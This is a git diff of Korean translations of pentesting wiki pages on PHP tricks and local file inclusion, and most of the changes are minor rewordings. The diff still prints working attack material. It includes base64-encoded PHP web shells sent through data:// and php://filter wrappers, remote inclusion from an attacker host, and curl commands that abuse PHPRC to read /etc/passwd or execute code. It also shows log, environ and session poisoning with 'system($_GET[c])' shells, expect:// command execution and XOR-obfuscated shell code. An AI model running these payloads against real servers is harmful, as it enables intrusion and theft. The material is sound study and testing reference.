- `?order=id;}//`: 우리는 오류 메시지(`Parse error: syntax error, unexpected ';'`)를 받습니다. 아마도 하나 이상의 괄호가 누락된 것 같습니다.
|
||||
- `?order=id;}//`: 우리는 오류 메시지(`Parse error: syntax error, unexpected ';'`)를 받습니다. 아마도 하나 이상의 괄호가 누락된 것입니다.
|
||||
- `?order=id);}//`: 우리는 **경고**를 받습니다. 그게 맞는 것 같습니다.
|
||||
- `?order=id));}//`: 우리는 오류 메시지(`Parse error: syntax error, unexpected ')' i`)를 받습니다. 아마도 닫는 괄호가 너무 많습니다.
|
||||
|
||||
@ -280,7 +282,7 @@ If you find a vulnerability that allows you to **modify env variables in PHP** (
|
||||
3. 2단계에서 업로드한 파일로 `PHPRC` 변수를 설정합니다.
|
||||
- 이 체인을 실행하는 방법에 대한 자세한 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인하세요.
|
||||
- **PHPRC** - 또 다른 옵션
|
||||
- 만약 **파일을 업로드할 수 없다면**, FreeBSD에서 **`stdin`**을 포함하는 "파일" `/dev/fd/0`를 사용할 수 있습니다:
|
||||
- 파일을 **업로드할 수 없는 경우**, FreeBSD에서 **`stdin`**을 포함하는 "파일" `/dev/fd/0`를 사용할 수 있습니다:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
- 또는 RCE를 얻기 위해 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 전처리합니다:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
@ -326,7 +328,7 @@ PHP 애플리케이션을 디버깅하는 경우 `/etc/php5/apache2/php.ini`에
|
||||
|
||||
### PHP 코드 디오브퓨스케이팅
|
||||
|
||||
PHP 코드를 디오브퓨스케이트하려면 **web**[ **www.unphp.net**](http://www.unphp.net) **를 사용할 수 있습니다.**
|
||||
PHP 코드를 디오브퓨스케이트하기 위해 **web**[ **www.unphp.net**](http://www.unphp.net) **를 사용할 수 있습니다.**
|
||||
|
||||
## PHP 래퍼 및 프로토콜
|
||||
|
||||
@ -371,9 +373,9 @@ $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3
|
||||
$___=$__; #Could be not needed inside eval
|
||||
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### XOR 쉬운 셸 코드
|
||||
### XOR 쉬운 쉘 코드
|
||||
|
||||
[**이 글**](https://mgp25.com/ctf/Web-challenge/)에 따르면, 다음과 같은 방법으로 쉬운 셸 코드를 생성할 수 있습니다:
|
||||
[**이 글**](https://mgp25.com/ctf/Web-challenge/)에 따르면, 다음과 같은 방법으로 쉬운 쉘코드를 생성할 수 있습니다:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
@ -25,8 +25,8 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
또한 `/`를 `\`로 변경해 보세요.\
|
||||
또한 `../../../../../`를 추가해 보세요.
|
||||
`/`를 `\`로 변경해 보세요.\
|
||||
`../../../../../`를 추가해 보세요.
|
||||
|
||||
파일 /etc/password를 찾기 위해 여러 기술을 사용하는 목록(취약점이 존재하는지 확인하기 위해)은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에서 찾을 수 있습니다.
|
||||
|
||||
@ -38,8 +38,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
또한 `/`를 `\`로 변경해 보세요.\
|
||||
또한 `C:/`를 제거하고 `../../../../../`를 추가해 보세요.
|
||||
`/`를 `\`로 변경해 보세요.\
|
||||
`C:/`를 제거하고 `../../../../../`를 추가해 보세요.
|
||||
|
||||
파일 /boot.ini를 찾기 위해 여러 기술을 사용하는 목록(취약점이 존재하는지 확인하기 위해)은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에서 찾을 수 있습니다.
|
||||
|
||||
@ -110,10 +110,10 @@ Path truncation은 웹 애플리케이션에서 파일 경로를 조작하는
|
||||
PHP에서는 파일 시스템의 특성으로 인해 파일 경로의 다양한 표현이 동등하게 간주될 수 있습니다. 예를 들어:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, 및 `/etc/passwd/`는 모두 동일한 경로로 처리됩니다.
|
||||
- 마지막 6자가 `passwd`일 때, `/`를 추가해도(`passwd/`) 타겟 파일은 변경되지 않습니다.
|
||||
- 마찬가지로, 파일 경로에 `.php`가 추가되면(`shellcode.php`와 같이), 끝에 `/.`를 추가해도 접근하는 파일은 변경되지 않습니다.
|
||||
- 마지막 6자가 `passwd`일 때, `/`를 추가해도(`passwd/`) 대상 파일은 변경되지 않습니다.
|
||||
- 마찬가지로, 파일 경로에 `.php`가 추가될 경우(`shellcode.php`와 같이), 끝에 `/.`을 추가해도 접근하는 파일은 변경되지 않습니다.
|
||||
|
||||
제공된 예제는 `/etc/passwd`에 접근하기 위해 path truncation을 활용하는 방법을 보여줍니다. 이는 민감한 내용(사용자 계정 정보)으로 인해 일반적인 타겟입니다:
|
||||
제공된 예제는 민감한 내용(사용자 계정 정보)으로 인해 일반적인 대상인 `/etc/passwd`에 접근하기 위해 path truncation을 활용하는 방법을 보여줍니다:
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -127,7 +127,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
|
||||
- **점 세그먼트 및 추가 문자 사용**: 탐색 시퀀스(`../`)와 추가 점 세그먼트 및 문자를 결합하여 파일 시스템을 탐색할 수 있으며, 서버에 의해 추가된 문자열을 효과적으로 무시할 수 있습니다.
|
||||
- **필요한 탐색 횟수 결정**: 시행착오를 통해 루트 디렉토리로 탐색하고 `/etc/passwd`로 이동하는 데 필요한 정확한 `../` 시퀀스 수를 찾을 수 있으며, 이때 추가된 문자열(예: `.php`)은 중화되지만 원하는 경로(`/etc/passwd`)는 그대로 유지됩니다.
|
||||
- **가짜 디렉토리로 시작**: 존재하지 않는 디렉토리(예: `a/`)로 경로를 시작하는 것은 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 논리 요구 사항을 충족하기 위해 사용됩니다.
|
||||
- **가짜 디렉토리로 시작**: 존재하지 않는 디렉토리(예: `a/`)로 경로를 시작하는 것은 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 논리의 요구 사항을 충족하기 위해 사용됩니다.
|
||||
|
||||
경로 단축 기술을 사용할 때는 서버의 경로 파싱 동작 및 파일 시스템 구조를 이해하는 것이 중요합니다. 각 시나리오는 다른 접근 방식을 요구할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 종종 필요합니다.
|
||||
|
||||
@ -143,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## 원격 파일 포함
|
||||
|
||||
php에서는 기본적으로 **`allow_url_include`**가 **꺼져** 있기 때문에 비활성화되어 있습니다. 작동하려면 **켜져** 있어야 하며, 이 경우 서버에서 PHP 파일을 포함하고 RCE를 얻을 수 있습니다:
|
||||
php에서는 기본적으로 **`allow_url_include`**가 **꺼져** 있습니다. 작동하려면 **켜져** 있어야 하며, 이 경우 서버에서 PHP 파일을 포함하고 RCE를 얻을 수 있습니다:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
@ -153,7 +153,7 @@ http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!NOTE]
|
||||
> 이전 코드에서 최종 `+.txt`는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문에 추가되었습니다. 따라서 문자열은 그것으로 끝나고 b64 디코드 후 그 부분은 단지 쓰레기를 반환하며 실제 PHP 코드가 포함될 것입니다 (따라서 실행됩니다).
|
||||
> 이전 코드에서 최종 `+.txt`는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문에 추가되었습니다. 따라서 문자열은 그것으로 끝나고 b64 디코드 후 해당 부분은 단순한 쓰레기를 반환하며 실제 PHP 코드가 포함됩니다(따라서 실행됩니다).
|
||||
|
||||
또 다른 예시 **`php://` 프로토콜을 사용하지 않는** 것은:
|
||||
```
|
||||
@ -161,7 +161,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
|
||||
```
|
||||
## Python Root element
|
||||
|
||||
파이썬에서 다음과 같은 코드에서:
|
||||
In python in a code like this one:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
@ -177,11 +177,11 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
|
||||
## Java 디렉토리 목록
|
||||
|
||||
Java에서 경로 탐색(Path Traversal)이 있는 경우 **파일 대신 디렉토리를 요청하면** **디렉토리 목록이 반환됩니다**. 다른 언어에서는 (내가 아는 한) 이런 일이 발생하지 않을 것입니다.
|
||||
Java에서 경로 탐색(Path Traversal)이 있는 경우 **파일 대신 디렉토리를 요청하면** **디렉토리 목록이 반환됩니다**. 다른 언어에서는 이런 일이 발생하지 않을 것입니다(내가 아는 한).
|
||||
|
||||
## 상위 25개 매개변수
|
||||
|
||||
다음은 로컬 파일 포함(LFI) 취약점에 취약할 수 있는 상위 25개 매개변수 목록입니다 (출처: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
다음은 로컬 파일 포함(LFI) 취약점에 취약할 수 있는 상위 25개 매개변수 목록입니다(출처: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -235,8 +235,8 @@ PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업
|
||||
- `zlib.deflate`: 콘텐츠를 압축합니다 (많은 정보를 유출할 때 유용함)
|
||||
- `zlib.inflate`: 데이터를 압축 해제합니다.
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : 사용 중단
|
||||
- `mdecrypt.*` : 사용 중단
|
||||
- `mcrypt.*` : 사용 중단됨
|
||||
- `mdecrypt.*` : 사용 중단됨
|
||||
- Other Filters
|
||||
- php에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있습니다:
|
||||
- `consumed`
|
||||
@ -273,19 +273,19 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
### php 필터를 오라클로 사용하여 임의의 파일 읽기
|
||||
|
||||
[**이 게시물**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)에서는 서버로부터 반환된 출력 없이 로컬 파일을 읽는 기술이 제안되었습니다. 이 기술은 **php 필터를 오라클로 사용하여 파일을 불리언 방식으로(문자별로) 유출하는 것**에 기반합니다. 이는 php 필터를 사용하여 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
|
||||
[**이 게시물**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)에서는 서버에서 반환된 출력 없이 로컬 파일을 읽는 기술이 제안됩니다. 이 기술은 **php 필터를 오라클로 사용하여 파일의 불리언 유출(문자별)**에 기반합니다. 이는 php 필터를 사용하여 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
|
||||
|
||||
원래 게시물에서는 기술에 대한 자세한 설명을 찾을 수 있지만, 여기 간단한 요약이 있습니다:
|
||||
|
||||
- **`UCS-4LE`** 코덱을 사용하여 텍스트의 선행 문자를 시작 부분에 두고 문자열의 크기를 기하급수적으로 증가시킵니다.
|
||||
- 이는 **초기 문자가 올바르게 추측되었을 때 너무 큰 텍스트를 생성**하는 데 사용되며, php는 **오류**를 발생시킵니다.
|
||||
- **dechunk** 필터는 **첫 번째 문자가 16진수가 아닐 경우 모든 것을 제거**하므로, 첫 번째 문자가 16진수인지 알 수 있습니다.
|
||||
- **dechunk** 필터는 **첫 번째 문자가 16진수가 아닐 경우 모든 것을 제거**하므로 첫 번째 문자가 16진수인지 알 수 있습니다.
|
||||
- 이것은 이전의 것과 결합되어(추측된 문자에 따라 다른 필터도 사용) 텍스트의 시작 부분에서 문자를 추측할 수 있게 해줍니다. 충분한 변환을 수행하여 16진수 문자가 아니게 만들 때를 확인합니다. 16진수라면 dechunk는 삭제하지 않으며 초기 폭탄이 php 오류를 발생시킵니다.
|
||||
- **convert.iconv.UNICODE.CP930** 코덱은 각 문자를 다음 문자로 변환합니다(예: 이 코덱 이후: a -> b). 이를 통해 첫 번째 문자가 `a`인지 발견할 수 있습니다. 예를 들어, 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 문자가 더 이상 16진수 문자가 아니게 되므로 dechunk는 삭제하지 않고 php 오류가 발생합니다.
|
||||
- **convert.iconv.UNICODE.CP930** 코덱은 모든 문자를 다음 문자로 변환합니다(따라서 이 코덱 이후: a -> b). 이를 통해 첫 번째 문자가 `a`인지 발견할 수 있습니다. 예를 들어, 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 문자가 더 이상 16진수 문자가 아니게 되므로 dechunk는 삭제하지 않고 php 오류가 발생합니다.
|
||||
- **rot13**과 같은 다른 변환을 시작 부분에 사용하면 n, o, p, q, r과 같은 다른 문자를 유출할 수 있습니다(다른 코덱을 사용하여 다른 문자를 16진수 범위로 이동할 수 있습니다).
|
||||
- 초기 문자가 숫자일 경우 base64로 인코딩하고 처음 두 문자를 유출하여 숫자를 유출해야 합니다.
|
||||
- 최종 문제는 **초기 문자 이상을 유출하는 방법**을 보는 것입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**와 같은 순서 메모리 필터를 사용하면 문자의 순서를 변경하고 텍스트의 첫 번째 위치에 다른 문자를 가져올 수 있습니다.
|
||||
- 추가 데이터를 얻기 위해서는 **초기 부분에 2바이트의 쓰레기 데이터를 생성**하는 것이 아이디어입니다. **convert.iconv.UTF16.UTF16**을 사용하고 **UCS-4LE**를 적용하여 **다음 2바이트와 피벗**을 만들고, **쓰레기 데이터까지 데이터를 삭제**합니다(이것은 초기 텍스트의 첫 2바이트를 제거합니다). 원하는 비트를 유출할 때까지 계속 진행합니다.
|
||||
- 추가 데이터를 얻기 위해서는 **초기 부분에 2바이트의 쓰레기 데이터를 생성**하는 아이디어가 필요합니다. **convert.iconv.UTF16.UTF16**을 적용하고 **UCS-4LE**를 적용하여 **다음 2바이트와 피벗**을 만들고, **쓰레기 데이터까지 데이터를 삭제**합니다(이것은 초기 텍스트의 처음 2바이트를 제거합니다). 원하는 비트를 유출할 때까지 계속 진행합니다.
|
||||
|
||||
게시물에서는 이를 자동으로 수행할 수 있는 도구도 유출되었습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
@ -330,7 +330,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
|
||||
### expect://
|
||||
|
||||
Expect는 활성화되어야 합니다. 이를 사용하여 코드를 실행할 수 있습니다:
|
||||
Expect는 활성화되어야 합니다. 다음을 사용하여 코드를 실행할 수 있습니다:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
@ -360,7 +360,7 @@ php --define phar.readonly=0 create_path.php
|
||||
|
||||
LFI가 PHP 코드 실행 없이 파일 읽기만 수행하는 경우, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, 또는 `filesize()`와 같은 함수를 통해 역직렬화 취약점을 악용할 수 있습니다. 이 취약점은 `phar` 프로토콜을 사용하여 파일을 읽는 것과 관련이 있습니다.
|
||||
|
||||
`.phar` 파일의 역직렬화 취약점을 악용하는 방법에 대한 자세한 내용은 아래 링크된 문서를 참조하십시오:
|
||||
`.phar` 파일의 맥락에서 역직렬화 취약점을 악용하는 방법에 대한 자세한 내용은 아래 링크된 문서를 참조하십시오:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -389,7 +389,7 @@ phar-deserialization.md
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
PHP의 'assert' 함수와 관련된 Local File Inclusion (LFI) 위험은 특히 문자열 내에서 코드를 실행할 수 있기 때문에 상당히 높습니다. 입력에 ".."와 같은 디렉토리 탐색 문자가 포함되어 있지만 제대로 정리되지 않는 경우 특히 문제가 됩니다.
|
||||
PHP의 'assert' 함수와 관련된 Local File Inclusion (LFI) 위험은 문자열 내에서 코드를 실행할 수 있기 때문에 특히 높습니다. 입력에 ".."와 같은 디렉토리 탐색 문자가 포함되어 있지만 제대로 정리되지 않는 경우 특히 문제가 됩니다.
|
||||
|
||||
예를 들어, PHP 코드는 다음과 같이 디렉토리 탐색을 방지하도록 설계될 수 있습니다:
|
||||
```bash
|
||||
@ -408,9 +408,9 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
## PHP 블라인드 경로 탐색
|
||||
|
||||
> [!WARNING]
|
||||
> 이 기술은 **PHP 함수**의 **파일 경로**를 **제어**할 수 있는 경우에 관련이 있으며, 이 함수는 **파일에 접근**하지만 파일의 내용을 볼 수는 없습니다(예: **`file()`**에 대한 간단한 호출처럼) 파일의 내용은 표시되지 않습니다.
|
||||
> 이 기술은 **PHP 함수**의 **파일 경로**를 **제어**할 수 있는 경우에 관련이 있으며, 이 함수는 **파일에 접근**하지만 파일의 내용을 볼 수는 없습니다(예: **`file()`**에 대한 간단한 호출처럼) 내용이 표시되지 않습니다.
|
||||
|
||||
[**이 놀라운 게시물**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)에서는 블라인드 경로 탐색이 PHP 필터를 통해 **오류 오라클을 통해 파일의 내용을 유출하는 방법**이 설명되어 있습니다.
|
||||
[**이 놀라운 게시물**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)에서는 블라인드 경로 탐색이 PHP 필터를 통해 **오류 오라클을 통해 파일의 내용을 유출하는 방법**에 대해 설명합니다.
|
||||
|
||||
요약하자면, 이 기술은 **"UCS-4LE" 인코딩**을 사용하여 파일의 내용을 **매우 크게** 만들어 **파일을 여는 PHP 함수**가 **오류**를 발생시키도록 합니다.
|
||||
|
||||
@ -428,14 +428,14 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
|
||||
### Apache/Nginx 로그 파일을 통한
|
||||
|
||||
Apache 또는 Nginx 서버가 **LFI에 취약**하다면 포함 함수 내에서 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근을 시도할 수 있으며, **사용자 에이전트** 또는 **GET 매개변수** 내에 PHP 쉘인 **`<?php system($_GET['c']); ?>`**를 설정하고 해당 파일을 포함할 수 있습니다.
|
||||
Apache 또는 Nginx 서버가 **LFI에 취약**한 경우 포함 함수 내에서 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근을 시도할 수 있으며, **사용자 에이전트** 또는 **GET 매개변수** 내에 PHP 쉘인 **`<?php system($_GET['c']); ?>`**를 설정하고 해당 파일을 포함할 수 있습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 쉘에 대해 **단일 인용부호** 대신 **이중 인용부호**를 사용하면 이중 인용부호가 "_**quote;**_" 문자열로 수정되며, **PHP는 그곳에서 오류를 발생시킵니다** 그리고 **다른 것은 실행되지 않습니다**.
|
||||
>
|
||||
> 또한, **페이로드를 올바르게 작성해야** 하며, 그렇지 않으면 PHP는 로그 파일을 로드하려고 할 때마다 오류가 발생하고 두 번째 기회를 갖지 못할 것입니다.
|
||||
|
||||
이것은 다른 로그에서도 수행할 수 있지만 **주의하세요**, 로그 내의 코드는 URL 인코딩될 수 있으며, 이는 쉘을 파괴할 수 있습니다. 헤더 **authorization "basic"**는 Base64로 "user:password"를 포함하며, 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 내에 삽입될 수 있습니다.\
|
||||
이것은 다른 로그에서도 수행할 수 있지만 **주의하세요**, 로그 내의 코드는 URL 인코딩될 수 있으며, 이는 쉘을 파괴할 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 "user:password"를 포함하며, 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 내에 삽입될 수 있습니다.\
|
||||
다른 가능한 로그 경로:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -461,12 +461,12 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### /proc/self/environ을 통한 방법
|
||||
|
||||
로그 파일처럼, User-Agent에 페이로드를 보내면 /proc/self/environ 파일 내에 반영됩니다.
|
||||
로그 파일처럼, User-Agent에 페이로드를 보내면 /proc/self/environ 파일에 반영됩니다.
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
### 업로드를 통한 방법
|
||||
|
||||
파일을 업로드할 수 있다면, 그 안에 쉘 페이로드를 주입하세요 (예: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
@ -496,7 +496,7 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
PHP 세션 파일을 포함하기 위해 LFI를 사용하세요.
|
||||
LFI를 사용하여 PHP 세션 파일을 포함합니다.
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
@ -513,7 +513,7 @@ FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Loc
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
[이](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 기사에서 보여준 것처럼, PHP base64 필터는 Non-base64를 무시합니다. 이를 사용하여 파일 확장자 검사를 우회할 수 있습니다: ".php"로 끝나는 base64를 제공하면, "."를 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:
|
||||
[이](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 기사에서 보여준 것처럼, PHP base64 필터는 Non-base64를 무시합니다. 이를 사용하여 파일 확장자 검사를 우회할 수 있습니다: ".php"로 끝나는 base64를 제공하면, 단순히 "."를 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
@ -521,7 +521,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
|
||||
이 [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php 필터를 사용하여 임의의 콘텐츠**를 출력으로 생성할 수 있음을 설명합니다. 이는 기본적으로 **파일에 작성할 필요 없이 임의의 php 코드를 생성할 수 있음을 의미**합니다.
|
||||
이 [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php 필터를 사용하여 임의의 콘텐츠**를 출력으로 생성할 수 있음을 설명합니다. 이는 기본적으로 **파일에 작성할 필요 없이 임의의 php 코드를 생성**할 수 있음을 의미합니다.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -529,7 +529,7 @@ lfi2rce-via-php-filters.md
|
||||
|
||||
### Via segmentation fault
|
||||
|
||||
**파일을 업로드**하여 `/tmp`에 **임시로** 저장한 다음, **같은 요청에서** **세그멘테이션 오류**를 발생시키면 **임시 파일이 삭제되지 않으며** 이를 검색할 수 있습니다.
|
||||
**파일을 업로드**하여 `/tmp`에 **임시로** 저장한 다음, **같은 요청에서** **세그멘테이션 오류**를 발생시키면 **임시 파일이 삭제되지 않고** 이를 검색할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
@ -545,7 +545,7 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
**로컬 파일 포함**을 발견했지만 **세션이 없고** `session.auto_start`가 `Off`인 경우, **multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 **세션을 활성화**합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
|
||||
**로컬 파일 포함**을 발견했더라도 **세션이 없고** `session.auto_start`가 `Off`인 경우, **multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 **세션을 활성화**합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
@ -576,7 +576,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### Via phpinfo() (file_uploads = on)
|
||||
|
||||
**로컬 파일 포함(Local File Inclusion)**과 **file_uploads = on**인 **phpinfo()**를 노출하는 파일을 찾으면 RCE를 얻을 수 있습니다:
|
||||
**로컬 파일 포함(Local File Inclusion)**과 file_uploads = on인 **phpinfo()**를 노출하는 파일을 찾으면 RCE를 얻을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
@ -612,6 +612,8 @@ lfi2rce-via-eternal-waiting.md
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
{{#endfile}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -10,25 +10,27 @@
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
당신은 또한 **payload**를 익스플로잇의 시작 부분에서 변경해야 합니다(예: php-rev-shell의 경우), **REQ1**(이것은 phpinfo 페이지를 가리켜야 하며 패딩이 포함되어야 합니다, 즉: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), 그리고 **LFIREQ**(이것은 LFI 취약점을 가리켜야 합니다, 즉: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 널 문자 익스플로잇 시 이중 "%"를 확인하세요)
|
||||
당신은 공격의 시작 부분에서 **payload**를 변경해야 합니다 (예: php-rev-shell의 경우), **REQ1** (이것은 phpinfo 페이지를 가리켜야 하며 패딩이 포함되어야 합니다, 즉: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), 그리고 **LFIREQ** (이것은 LFI 취약점을 가리켜야 합니다, 즉: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 널 문자 공격 시 이중 "%"를 확인하세요)
|
||||
|
||||
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
{{#file}}
|
||||
LFI-With-PHPInfo-Assistance.pdf
|
||||
{{#endfile}}
|
||||
|
||||
### 이론
|
||||
|
||||
PHP에서 업로드가 허용되면 파일을 업로드하려고 할 때, 이 파일은 서버가 요청 처리를 완료할 때까지 임시 디렉토리에 저장되며, 그 후 이 임시 파일은 삭제됩니다.
|
||||
|
||||
그런 다음, 웹 서버에서 LFI 취약점을 발견하면 생성된 임시 파일의 이름을 추측하고 삭제되기 전에 임시 파일에 접근하여 RCE를 익스플로잇할 수 있습니다.
|
||||
그런 다음, 웹 서버에서 LFI 취약점을 발견하면 생성된 임시 파일의 이름을 추측하고 삭제되기 전에 임시 파일에 접근하여 RCE를 악용할 수 있습니다.
|
||||
|
||||
**Windows**에서는 파일이 일반적으로 **C:\Windows\temp\php**에 저장됩니다.
|
||||
|
||||
